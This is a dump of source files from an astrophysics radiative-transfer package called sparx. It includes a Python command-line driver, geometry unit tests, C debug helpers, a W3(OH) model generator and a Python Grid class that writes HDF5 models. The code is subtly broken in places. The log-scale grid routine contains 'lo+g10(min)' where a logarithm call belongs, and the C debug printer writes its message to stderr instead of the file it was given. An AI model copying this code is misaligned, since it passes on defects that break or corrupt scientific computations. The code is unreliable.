default=False, action=\"store_true\", help=\"Show traceback on exception\")\n\tparser.add_option(\"--time\", dest=\"time\", default=True, action=\"store_false\", help=\"Time the task\")\n\n\t# Options available only if MPI support is available\n\tif _sparx.HAVE_MPI:\n\t\tparser.add_option(\"-p\", \"--parallel\", dest=\"parallel\", default=False, action=\"store_true\", help=\"Enable parallel operation\")\n\n\treturn parser\n\n################################################################################\n\n##\n## Main\n##\nif __name__ == \"__main__\":\n\t# Setup parser\n\tparser = setup_parser()\n\n\t# Call parser\n\topts, args = parser.parse_args()\n\n\t# Check for number of args and get command\n\tif len(args) > 0:\n\t\t# Get command from arg[0]\n\t\tcommand = args[0]\n\telse:\n\t\t# Print help and exit\n\t\tparser.print_help()\n\t\texit(0)\n\n\t# Init MPI if requested\n\tif _sparx.HAVE_MPI and opts.parallel:\n\t\tutils.MPI_RANK, utils.MPI_SIZE = _sparx.init_mpi()\n\n\t# Execute command\n\tif command in CMD_DICT:\n\t\tcmd_func = CMD_DICT[command]\n\t\tif opts.time:\n\t\t\timport time\n\t\t\tt_start = time.time()\n\t\tif opts.debug:\n\t\t\tcmd_func(parser, opts, args[1:])\n\t\telse:\n\t\t\ttry:\n\t\t\t\tcmd_func(parser, opts, args[1:])\n\t\t\texcept Exception, mesg:\n\t\t\t\tMesg.Err(str(mesg))\n\t\tif opts.time:\n\t\t\tt_end = time.time()\n\t\t\tMesg.Raw(\"Execution time: %.3f seconds\" % (t_end - t_start))\n\telse:\n\t\tparser.error(\"'%s' is not a valid command\\n\"%command)\n\n\n\t# Finalize MPI (mandatory in some MPI environments, e.g. MPICH)\n\tif _sparx.HAVE_MPI and opts.parallel:\n\t\t_sparx.finalize_mpi()\n\n\n\n\n" }, { "alpha_fraction": 0.5848719477653503, "alphanum_fraction": 0.6057177186012268, "avg_line_length": 33.26530456542969, "blob_id": "37f2efb6db2fa02eb7caa97025a9422cf55ab3d2", "content_id": "483b731e0d16fd46b692b3033ed770591b88b404", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1679, "license_type": "no_license", "max_line_length": 89, "num_lines": 49, "path": "/unit/test_geometry.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "import unittest\n\nclass TestGeometry(unittest.TestCase):\n def test_dotprod(self):\n from sparx._sparx import test_geom_dotprod\n ret = test_geom_dotprod()\n self.assertAlmostEqual(ret[\"right_angle\"], 0.0)\n self.assertAlmostEqual(ret[\"parallel\"], 1.0)\n self.assertAlmostEqual(ret[\"angle_60deg\"], 0.5)\n return\n\n def test_vecops(self):\n from sparx._sparx import test_geom_vecops\n ret = test_geom_vecops()\n for i, e in enumerate((10.0, 5.0, 2.5)):\n self.assertAlmostEqual(ret[\"scale\"][i], e)\n self.assertAlmostEqual(ret[\"mag\"], 3.0)\n self.assertAlmostEqual(reduce(lambda x, y: x + y**2, ret[\"normalize\"], 0.0), 1.0)\n return\n\n def test_rayprop(self):\n from sparx._sparx import test_geom_rayprop\n ret = test_geom_rayprop()\n\n # Check whether all propagation distances from the origin are equal to 1\n for i in ret[\"originprop\"]:\n self.assertAlmostEqual(i, 1.0)\n\n # Check whether the phi_s's returned sum to pi (the returned values\n # are fractions of pi)\n lst = ret[\"get_phis\"]\n lst = map(lambda x: sum(x), lst)\n self.assertAlmostEqual(max(lst) - min(lst), 0.0)\n return\n\n def test_rayprop2(self):\n from sparx._sparx import test_geom_rayprop2\n ret = test_geom_rayprop2()\n lst = ret[\"originprop\"]\n\n # Check whether we got > 0 results\n self.assertGreater(len(lst), 0)\n\n # Check whether all propagation distances from the origin are equal to 1\n self.assertAlmostEqual(max(lst) - min(lst), 0.0)\n return\n\nif __name__ == \"__main__\":\n unittest.main()\n" }, { "alpha_fraction": 0.46716004610061646, "alphanum_fraction": 0.4819611608982086, "avg_line_length": 18.303571701049805, "blob_id": "00feb13fdc8e3126ab7998937d20cdfde77a1b6e", "content_id": "faae15e21e8de935b129ed9092c7463d4c16792c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1081, "license_type": "no_license", "max_line_length": 80, "num_lines": 56, "path": "/src/debug.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "/*\n * Copyright (C) 2007 Eric Chung\n * e-mail: [email protected]\n *\n * some useful tool for debugging\n * \n * History:\n * esc 23Jul07 genesis\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <time.h>\n#include <unistd.h>\n#include <signal.h>\n#include \"debug.h\"\n\nFILE *Deb_FP = NULL;\n\n/*----------------------------------------------------------------------------*/\n\nvoid Deb_Pausef(const char *file, int line)\n{\n char buffer[BUFSIZ] = \"\";\n\n fprintf(stderr, \"%s:%d:press ENTER to continue...\\n\", file, line);\n fgets(buffer, BUFSIZ, stdin);\n\n return;\n}\n\n#if 0 /* esc 25Dec08: where is usleep() defined? */\n/*----------------------------------------------------------------------------*/\n\nvoid Deb_Sleep(double secs)\n{\n usleep((int)(secs * 1.0e6));\n\n return;\n}\n#endif\n\n/*----------------------------------------------------------------------------*/\n\nvoid Deb_Fprintf(FILE *fp, const char *file, int line, const char *format, ...)\n{\n va_list ap;\n\n fprintf(fp, \"%s:%d: \", file, line);\n va_start(ap, format);\n vfprintf(stderr, format, ap);\n va_end(ap);\n \n return;\n}\n" }, { "alpha_fraction": 0.7223880887031555, "alphanum_fraction": 0.7253731489181519, "avg_line_length": 29.454545974731445, "blob_id": "82fbccf9d429574f3dd7ba6119821c8073f832e1", "content_id": "50649d89c2e39d842529cb2f9e415b0f6566aa8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 335, "license_type": "no_license", "max_line_length": 74, "num_lines": 11, "path": "/src/python-wrappers.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __PYTHON_WRAPPERS_H__\n#define __PYTHON_WRAPPERS_H__\n\n#include <numpy/arrayobject.h>\n\nint PyWrRun_SimpleString(const char *format, ...);\nint PyWrRun_SimpleFile(const char *fname);\nvoid* PyWrArray_GetPtr3(PyArrayObject* obj, size_t i, size_t j, size_t k);\nvoid PyWrErr_SetString(PyObject *type, const char *format, ...);\n\n#endif\n" }, { "alpha_fraction": 0.5529710054397583, "alphanum_fraction": 0.5685167908668518, "avg_line_length": 22.19251251220703, "blob_id": "d2cb72e8e41180bf50dca39ad904003a2225e91b", "content_id": "3d94a17d9adeed39716c866e85846f1171cf4520", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8684, "license_type": "no_license", "max_line_length": 104, "num_lines": 374, "path": "/src/sparx-task-w3oh.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/* Global parameter struct */\nstatic struct glb {\n\tint geom;\n\tsize_t ndiv;\n\tdouble dims, kcen, tcen, rcen, rref, nref, nidx, tref, tidx, vref, vidx, xmol;\n\tSpModel model;\n\tSpFile *out_fp;\n\tchar *fname;\n\tKappa *kap;\n} glb;\n\n/* Keywords */\nstatic SpKey\nK_OUTF = Sp_KEY(\"out\", \"NewFile\", 0, \"Name of output file\"),\nK_GEOM = Sp_KEY(\"geom\", \"Geometry\", \"'sph1d'\", \"Geometry (coordinate system) of model\"),\nK_NDIV = Sp_KEY(\"ndiv\", \"Size_t\", \"32\", \"Number of divisions along each axis\"),\nK_DIMS = Sp_KEY(\"dims\", \"Length\", 0, \"Dimension of each axis\"),\nK_KCEN = Sp_KEY(\"kapcen\", \"Opacity\", \"'0.01cm^2g^-1'\", \"Opacity of central continuum source at 1.1mm\"),\nK_TCEN = Sp_KEY(\"tcen\", \"Temperature\", \"'5000K'\", \"Brightness temperature of central continuum source\"),\nK_RCEN = Sp_KEY(\"rcen\", \"Length\", \"'0.01pc'\", \"Radius of central continuum source\"),\nK_RREF = Sp_KEY(\"r0\", \"Length\", 0, \"Reference radius\"),\nK_NREF = Sp_KEY(\"n0\", \"NumDensity\", 0, \"Molecular gas number density at r0\"),\nK_NIDX = Sp_KEY(\"na\", \"Float\", 0, \"Molecular gas power index\"),\nK_TREF = Sp_KEY(\"t0\", \"Temperature\", 0, \"Kinetic temperature at r0\"),\nK_TIDX = Sp_KEY(\"ta\", \"Float\", 0, \"Kinetic temperature power index\"),\nK_VREF = Sp_KEY(\"v0\", \"Velocity\", 0, \"Radial velocity gradient (velocity/pc)\"),\nK_VIDX = Sp_KEY(\"va\", \"Float\", 0, \"Radial velocity gradient (velocity/pc)\"),\nK_XMOL = Sp_KEY(\"xmol\", \"Fraction\", 0, \"Molecular fractional abundance\"),\nK_TCMB = Sp_KEY(\"tcmb\", \"Temperature\", \"Optional\", \"Cosmic microwave background\"),\nK_GASD = Sp_KEY(\"gas2dust\", \"Float\", \"100.0\", \"Gas-to-dust ratio\"),\nK_DUST = Sp_KEY(\"dust\", \"Kappa\", \"KapPLaw('300GHz', '1cm^2g^-1', 2.0)\", \"Dust opacity model\"),\nK_LTEM = Sp_KEY(\"lte\", \"Molec\", \"Optional\", \"Init with given molecule in lte\");\n\nstatic SpKey *keys[] = {\n\t&K_OUTF,\n\t&K_NDIV,\n\t&K_DIMS,\n\t&K_KCEN,\n\t&K_TCEN,\n\t&K_RCEN,\n\t&K_RREF,\n\t&K_GEOM,\n\t&K_NREF,\n\t&K_NIDX,\n\t&K_TREF,\n\t&K_TIDX,\n\t&K_VREF,\n\t&K_VIDX,\n\t&K_XMOL,\n\t&K_TCMB,\n\t&K_GASD,\n\t&K_DUST,\n\t&K_LTEM,\n\t0\n};\n\nstatic int TaskMain(void);\nstatic int ProcInps(void);\nstatic int GenModel(void);\nstatic void *GenModelThread(void *arg);\nstatic void GenZone(Zone *zp);\nstatic void GenZone_sph1d(Zone *zp);\nstatic void Cleanup(void);\n\n/* Task definition */\nSpTask SpTask_w3oh = Sp_TASK(\"w3oh\", \"W3(OH) model generator\", TaskMain, keys);\n\n/*----------------------------------------------------------------------------*/\n\nstatic int TaskMain(void)\n{\n\tint status = 0;\n\n\tMem_BZERO(&glb);\n\n\tstatus = ProcInps();\n\n\t/* Check for unused keys */\n\tif(!status)\n\t\tstatus = SpInp_CheckKeys();\n\n\t/* Generate model */\n\tif(!status)\n\t\tstatus = GenModel();\n\n\t/* Cleanup */\n\tCleanup();\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int ProcInps(void)\n{\n\tint status = 0;\n\tPyObject *o;\n\n\t/* K_GEOM: geometry */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_GEOM)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.geom = Sp_PYINT(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_OUTF: out_fp */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_OUTF)))\n\t\tstatus = 1;\n\tif(!status && !(glb.out_fp = SpIO_OpenFile(Sp_PYSTR(o), Sp_NEW)))\n\t\tstatus = 1;\n\tSpPy_XDECREF(o);\n\n\t/* K_NDIV: ndiv */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_NDIV)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.ndiv = Sp_PYSIZE(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_DIMS: dims */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_DIMS)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.dims = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_KCEN: kcen */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_KCEN)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.kcen = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_TCEN: tcen */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_TCEN)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.tcen = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_RCEN: rcen */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_RCEN)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.rcen = Sp_PYDBL(o) / PHYS_UNIT_MKS_PC;\n\tSpPy_XDECREF(o);\n\n\t/* K_RREF: rref */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_RREF)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.rref = Sp_PYDBL(o) / PHYS_UNIT_MKS_PC;\n\tSpPy_XDECREF(o);\n\n\t/* K_NREF: nref */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_NREF)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.nref = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_NIDX: nidx */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_NIDX)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.nidx = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_TREF: tref */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_TREF)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.tref = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_TIDX: tidx */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_TIDX)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.tidx = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_VREF: vref */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_VREF)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.vref = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_VIDX: vidx */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_VIDX)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.vidx = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_XMOL: xmol */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_XMOL)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.xmol = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_LTEM: model.parms.mol */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_LTEM)))\n\t\tstatus = 1;\n\tif(!status && o != Py_None) {\n\t\tglb.model.parms.mol = SpIO_FreadMolec(Sp_PYSTR(o));\n\t\tif(!glb.model.parms.mol)\n\t\t\tstatus = 1;\n\t}\n\tSpPy_XDECREF(o);\n\n\t/* K_TCMB: model.parms.T_cmb */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_TCMB)))\n\t\tstatus = 1;\n\tif(!status && o != Py_None) {\n\t\tglb.model.parms.T_cmb = Sp_PYDBL(o);\n\t}\n\tSpPy_XDECREF(o);\n\n\t/* K_GASD: model.parms.gas_to_dust */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_GASD)))\n\t\tstatus = 1;\n\tif(!status && o != Py_None) {\n\t\tglb.model.parms.gas_to_dust = Sp_PYDBL(o);\n\t}\n\tSpPy_XDECREF(o);\n\n\t/* K_DUST: glb.kap */\n\tglb.kap = SpInp_GetKey_kappa(K_DUST.name);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void Cleanup(void)\n{\n\tif(glb.fname)\n\t\tfree(glb.fname);\n\n\tSpModel_Cleanup(glb.model);\n\n\tif(glb.out_fp)\n\t\tSpIO_CloseFile(glb.out_fp);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define NI (glb.ndiv)\n#define NJ (glb.ndiv)\n#define NK (glb.ndiv)\n#define PC (PHYS_UNIT_MKS_PC)\n\nstatic int GenModel(void)\n{\n\tint status = 0;\n\tGeVec3_d min, max;\n\tGeVec3_s ndiv;\n\n\tswitch(glb.geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tmin = GeVec3_d_Init(0.0, 0.0, 0.0);\n\t\t\tmax = GeVec3_d_Init(glb.dims / PC, PI, TWOPI);\n\t\t\tndiv = GeVec3_s_Init(glb.ndiv, (size_t)1, (size_t)1);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tmin = GeVec3_d_Init(0.0, 0.0, 0.0);\n\t\t\tmax = GeVec3_d_Init(glb.dims/PC, glb.dims/PC, glb.dims/PC);\n\t\t\tndiv = GeVec3_s_Init(glb.ndiv, glb.ndiv, glb.ndiv);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tassert(0);\n\t}\n\n\t/* Allocate grid */\n\tSpModel_InitGrid(&glb.model, glb.geom, min, max, ndiv);\n\n\t/* Fill in grid parameters */\n\tSpUtil_Threads(GenModelThread);\n\n\t/* Write model to file */\n\tstatus = SpIO_FwriteModel(glb.out_fp, glb.model);\n\n\tif(!status)\n\t\tSp_PRINT(\"Wrote source model to `%s'\\n\", glb.out_fp->name);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void *GenModelThread(void *tid_p)\n{\n\tsize_t tid = *((size_t *)tid_p), zone_id;\n\tZone *zp, *root = glb.model.grid;\n\n\t/* Setup model */\n\tfor(zp = Zone_GetMinLeaf(root), zone_id = 0; zp; zp = Zone_AscendTree(zp), zone_id++) {\n\t\t/* Skip when zone_id % Sp_NTHREAD != tid */\n\t\tif(zone_id % Sp_NTHREAD != tid)\n\t\t\tcontinue;\n\n\t\tGenZone(zp);\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void GenZone(Zone *zp)\n{\n\tswitch(zp->voxel.geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tGenZone_sph1d(zp);\n\t\t\tbreak;\n\n\t\tdefault: /* This should never happen */\n\t\t\tassert(0);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void GenZone_sph1d(Zone *zp)\n{\n\tsize_t i;\n\tSpPhys *pp;\n\n\tpp = zp->data;\n\n\t/* n_H2 */\n\tpp->n_H2 = glb.nref * pow(GeVec3_X(zp->voxel.cen, 0) / glb.rref, glb.nidx); /* m^-3 */\n\n\t/* T_k */\n\tpp->T_k = glb.tref * pow(GeVec3_X(zp->voxel.cen, 0) / glb.rref, glb.tidx); /* K */\n\n\t/* V_cen */\n\tGeVec3_X(pp->v_cen, 0) = glb.vref * pow(GeVec3_X(zp->voxel.cen, 0) / glb.rref, glb.vidx); /* m/s */\n\n\t/* X_mol */\n\tpp->X_mol = glb.xmol; /* fraction */\n\n\tstrncpy(pp->kapp_d, glb.kap->name, ZoneH5_KAPPLEN);\n\n\t/* Init molecular level populations if requested */\n\tif(glb.model.parms.mol) {\n\t\tfor(i = 0; i < pp->mol->nlev; i++) {\n\t\t\tpp->pops[0][i] = SpPhys_BoltzPops(glb.model.parms.mol, i, pp->T_k);\n\t\t}\n\t}\n\n\t/* Add central continuum source */\n\tif(GeVec3_X(zp->voxel.cen, 0) <= glb.rcen) {\n\t\tpp->T_ff = glb.tcen;\n\t\tsnprintf(pp->kapp_ff, ZoneH5_KAPPLEN, \"powerlaw,%10.3e,%10.3e,%10.3e\", \n\t\t\tPHYS_CONST_MKS_LIGHTC / 1.1e-3,\n\t\t\tglb.kcen,\n\t\t\t2.0);\n\t}\n\n\n\treturn;\n}\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5820296406745911, "alphanum_fraction": 0.6092343926429749, "avg_line_length": 30.266233444213867, "blob_id": "08e83070c004c6b3db5305a902ce421f9f27478c", "content_id": "735567ae5162c1f860a22e0921b09f6736469dfe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14446, "license_type": "no_license", "max_line_length": 105, "num_lines": 462, "path": "/lib/sparx/grid.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "##\n## List of available geometries\n## DO NOT move or rename these symbols unless you know absolutely what you're doing!\n##\nSPH1D = \"sph1d\"\nREC3D = \"rec3d\"\nGEOM_DICT = {SPH1D: 0, REC3D: 1}\n\n# Some necessary imports\nfrom math import sqrt\n\nclass Grid(object):\n\t'''\n\tGrid class used for describing source model with Python data structures.\n\tThis is used mainly in grid generation routines defined by the user.\n\t'''\n\tdef __init__(self, geom, shape, min, max, init_grid=True):\n\t\timport numpy as np\n\t\tassert len(shape) == 3\n\t\tassert len(min) == 3\n\t\tassert len(max) == 3\n\t\tassert geom in GEOM_DICT\n\n\t\t# Declare attributes\n\t\tself.geom = GEOM_DICT[geom]\n\t\tself.geomstr = geom\n\t\tself.shape = []\n\t\tself.min = []\n\t\tself.max = []\n\t\tself.cen = []\n\t\tself.delta = []\n\n\t\t# Sanity checks\n\t\tif geom == SPH1D:\n\t\t\tassert shape[0] > 0 and shape[1] == 1 and shape[2] == 1\n\t\telif geom == REC3D:\n\t\t\tassert shape[0] * shape[1] * shape[2] > 0\n\n\t\t# Grid shape and dimensions\n\t\tfor i in range(3):\n\t\t\tassert max[i] > min[i] and min[i] == 0\n\t\t\tself.shape += [int(shape[i])]\n\t\t\tself.min += [float(min[i])]\n\t\t\tself.max += [float(max[i])]\n\t\t\tself.cen += [self.min[i] + 0.5 * (self.max[i] - self.min[i])]\n\t\t\tself.delta += [float(max[i]) - float(min[i])]\n\n\t\t# Global physical parameters\n\t\tself.gas_to_dust = 0.0\n\t\tself.T_cmb = 0.0\n\n\t\t# Zone dimensions\n\t\tself.min_i = np.zeros(shape=self.shape)\n\t\tself.min_j = np.zeros(shape=self.shape)\n\t\tself.min_k = np.zeros(shape=self.shape)\n\n\t\tself.max_i = np.zeros(shape=self.shape)\n\t\tself.max_j = np.zeros(shape=self.shape)\n\t\tself.max_k = np.zeros(shape=self.shape)\n\n\t\tself.cen_i = np.zeros(shape=self.shape)\n\t\tself.cen_j = np.zeros(shape=self.shape)\n\t\tself.cen_k = np.zeros(shape=self.shape)\n\n\t\tif init_grid:\n\t\t\t# Init zone dimensions (linear by default)\n\t\t\tself.Grid_linear()\n\n\t\t# Gas density\n\t\tself.n_H2 = np.zeros(shape=self.shape)\n\n\t\t# Molecular and collisional partner abundances\n\t\tself.X_mol = np.zeros(shape=self.shape)\n\t\tself.X_pH2 = np.zeros(shape=self.shape)\n\t\tself.X_oH2 = np.zeros(shape=self.shape)\n\t\tself.X_e = np.zeros(shape=self.shape)\n\t\tself.X_H = np.zeros(shape=self.shape)\n\t\tself.X_He = np.zeros(shape=self.shape)\n\n\t\t# Kinetic temperature\n\t\tself.T_k = np.zeros(shape=self.shape)\n\t\t# Dust temperature\n\t\tself.T_d = np.zeros(shape=self.shape)\n\t\t# Free-free brightness temperature\n\t\tself.T_ff = np.zeros(shape=self.shape)\n\t\t# Continuum brightness temperature\n\t\tself.T_bb = np.zeros(shape=self.shape)\n\n\t\t# Turbulent velocity\n\t\tself.V_t = np.zeros(shape=self.shape)\n\n\t\t# Gas velocity\n\t\tself.V_i = np.zeros(shape=self.shape)\n\t\tself.V_j = np.zeros(shape=self.shape)\n\t\tself.V_k = np.zeros(shape=self.shape)\n\n\t\t# Dust opacity\n\t\tself.kapp_d = np.zeros(shape=self.shape, dtype='|S64') # NumPy string array\n\t\t# Free-free opacity\n\t\tself.kapp_ff = np.zeros(shape=self.shape, dtype='|S64') # NumPy string array\n\n\t\t# debug\n\t\t#print \"Grid init complete\"\n\n\tdef SetZoneBoundary(self, pos, min, max):\n\t\tself.min_i[pos] = min[0]\n\t\tself.min_j[pos] = min[1]\n\t\tself.min_k[pos] = min[2]\n\t\tself.max_i[pos] = max[0]\n\t\tself.max_j[pos] = max[1]\n\t\tself.max_k[pos] = max[2]\n\t\tself.cen_i[pos] = min[0] + 0.5 * (max[0] - min[0])\n\t\tself.cen_j[pos] = min[1] + 0.5 * (max[1] - min[1])\n\t\tself.cen_k[pos] = min[2] + 0.5 * (max[2] - min[2])\n\n\tdef SetZoneBoundary_sph1d(self, pos, min, max):\n\t\tfrom sparx.physics import Const as C\n\t\ti = int(pos)\n\t\tself.SetZoneBoundary((pos, 0, 0), (min, 0, 0), (max, C.pi, 2.0*C.pi));\n\n\tdef Grid_linear(self):\n\t\timport numpy as np\n\t\tdelta = [self.delta[i] / float(self.shape[i]) for i in range(3)]\n\t\tfor pos in np.ndindex(self.shape[0], self.shape[1], self.shape[2]):\n\t\t\tmin = [delta[i] * pos[i] for i in range(3)]\n\t\t\tmax = [delta[i] * (pos[i] + 1) for i in range(3)]\n\t\t\tself.SetZoneBoundary(pos, min, max)\n\n\tdef Grid_sph1d_linear(self):\n\t\timport numpy as np\n\t\tdelta = (self.max[0] - self.min[0]) / float(self.shape[0])\n\t\tfor pos in np.ndindex(self.shape[0], 1, 1):\n\t\t\ti = pos[0]\n\t\t\tself.SetZoneBoundary_sph1d(i, delta * i, delta * (i + 1))\n\n\tdef Grid_sph1d_log10(self, min):\n\t\timport numpy as np\n\t\tfrom math import log10\n\t\tassert self.max[0] > min\n\t\tlogmax = log10(self.max[0])\n\t\tlogmin = lo+g10(min)\n\t\tdelta = (logmax - logmin) / float(self.shape[0] - 1)\n\t\tfor pos in np.ndindex(self.shape[0], 1, 1):\n\t\t\ti = pos[0]\n\t\t\tif i == 0:\n\t\t\t\tmin = 0\n\t\t\telse:\n\t\t\t\tmin = 10.0**(logmin + delta * (i - 1))\n\t\t\tmax = 10.0**(logmin + delta * i)\n\t\t\tself.SetZoneBoundary_sph1d(i, min, max)\n\n\tdef GetZoneCen(self, pos):\n\t\treturn (self.cen_i[pos], self.cen_j[pos], self.cen_k[pos])\n\n\tdef write_hdf5(self, fname):\n\t\t'''Write grid to HDF5 with SPARX schema'''\n\t\timport tables as tb\n\t\timport numpy as np\n\t\tGEOMLEN = 6\n\t\tKAPPLEN = 64\n\n\t\t# Table definition\n\t\tclass Zone(tb.IsDescription):\n\t\t\tLEVEL = tb.Int32Col(shape=(), dflt=0, pos=0)\n\t\t\tPOS = tb.Int64Col(shape=(), dflt=0, pos=1)\n\t\t\tgeom = tb.StringCol(itemsize=6, shape=(), dflt='', pos=2)\n\t\t\tX_max = tb.Float64Col(shape=(3,), dflt=0.0, pos=3)\n\t\t\tX_min = tb.Float64Col(shape=(3,), dflt=0.0, pos=4)\n\t\t\tX_cen = tb.Float64Col(shape=(3,), dflt=0.0, pos=5)\n\t\t\tn_H2 = tb.Float64Col(shape=(), dflt=0.0, pos=6)\n\t\t\tT_k = tb.Float64Col(shape=(), dflt=0.0, pos=7)\n\t\t\tX_mol = tb.Float64Col(shape=(), dflt=0.0, pos=8)\n\t\t\tX_pH2 = tb.Float64Col(shape=(), dflt=0.0, pos=9)\n\t\t\tX_oH2 = tb.Float64Col(shape=(), dflt=0.0, pos=10)\n\t\t\tX_e = tb.Float64Col(shape=(), dflt=0.0, pos=11)\n\t\t\tX_H = tb.Float64Col(shape=(), dflt=0.0, pos=12)\n\t\t\tX_He = tb.Float64Col(shape=(), dflt=0.0, pos=13)\n\t\t\tV_t = tb.Float64Col(shape=(), dflt=0.0, pos=14)\n\t\t\tV_edge = tb.Float64Col(shape=(6, 3), dflt=0.0, pos=15)\n\t\t\tV_cen = tb.Float64Col(shape=(3,), dflt=0.0, pos=16)\n\t\t\tds = tb.Float64Col(shape=(), dflt=0.0, pos=17)\n\t\t\tNCHILDREN = tb.Int64Col(shape=(), dflt=0, pos=18)\n\t\t\tNAXES = tb.Int64Col(shape=(3,), dflt=0, pos=19)\n\t\t\tT_d = tb.Float64Col(shape=(), dflt=0.0, pos=20)\n\t\t\tkapp_d = tb.StringCol(itemsize=64, shape=(), dflt='', pos=21)\n\t\t\tT_ff = tb.Float64Col(shape=(), dflt=0.0, pos=22)\n\t\t\tkapp_ff = tb.StringCol(itemsize=64, shape=(), dflt='', pos=23)\n\t\t\tT_bb = tb.Float64Col(shape=(), dflt=0.0, pos=24)\n\n\t\twith tb.open_file(fname, mode=\"w\", title=\"test model\") as h5f:\n\t\t\t# Create attributes\n\t\t\troot = h5f.root\n\t\t\troot._v_attrs.T_cmb = np.array([self.T_cmb])\n\t\t\troot._v_attrs.gas_to_dust = np.array([self.gas_to_dust])\n\t\t\troot._v_attrs.molec = \"\"\n\t\t\troot._v_attrs.velfield = \"grid\"\n\n\t\t\t#print root._v_attrs.velfield\n\n\t\t\t#print \"geom=\", self.geomstr\n\n\t\t\t# Create table\n\t\t\ttable = h5f.create_table(root, 'GRID', Zone, \"Grid table\")\n\t\t\tzone = table.row\n\t\t\tfor i, pos in enumerate(np.ndindex(*self.shape)):\n\t\t\t\tzone[\"LEVEL\"] = 0\n\t\t\t\tzone[\"POS\"] = i\n\t\t\t\tzone[\"geom\"] = self.geomstr\n\t\t\t\tzone[\"X_max\"] = np.array([self.max_i[pos], self.max_j[pos], self.max_k[pos]])\n\t\t\t\tzone[\"X_min\"] = np.array([self.min_i[pos], self.min_j[pos], self.min_k[pos]])\n\t\t\t\tzone[\"X_cen\"] = np.array([self.cen_i[pos], self.cen_j[pos], self.cen_k[pos]])\n\t\t\t\tzone[\"n_H2\"] = self.n_H2[pos]\n\t\t\t\tzone[\"T_k\"] = self.T_k[pos]\n\t\t\t\tzone[\"X_mol\"] = self.X_mol[pos]\n\t\t\t\tzone[\"X_pH2\"] = self.X_pH2[pos]\n\t\t\t\tzone[\"X_oH2\"] = self.X_oH2[pos]\n\t\t\t\tzone[\"X_e\"] = self.X_e[pos]\n\t\t\t\tzone[\"X_H\"] = self.X_H[pos]\n\t\t\t\tzone[\"X_He\"] = self.X_He[pos]\n\t\t\t\tzone[\"V_t\"] = self.V_t[pos]\n\t\t\t\tzone[\"V_cen\"] = np.array([self.V_i[pos], self.V_j[pos], self.V_k[pos]])\n\t\t\t\tzone[\"T_d\"] = self.T_d[pos]\n\t\t\t\tzone[\"kapp_d\"] = 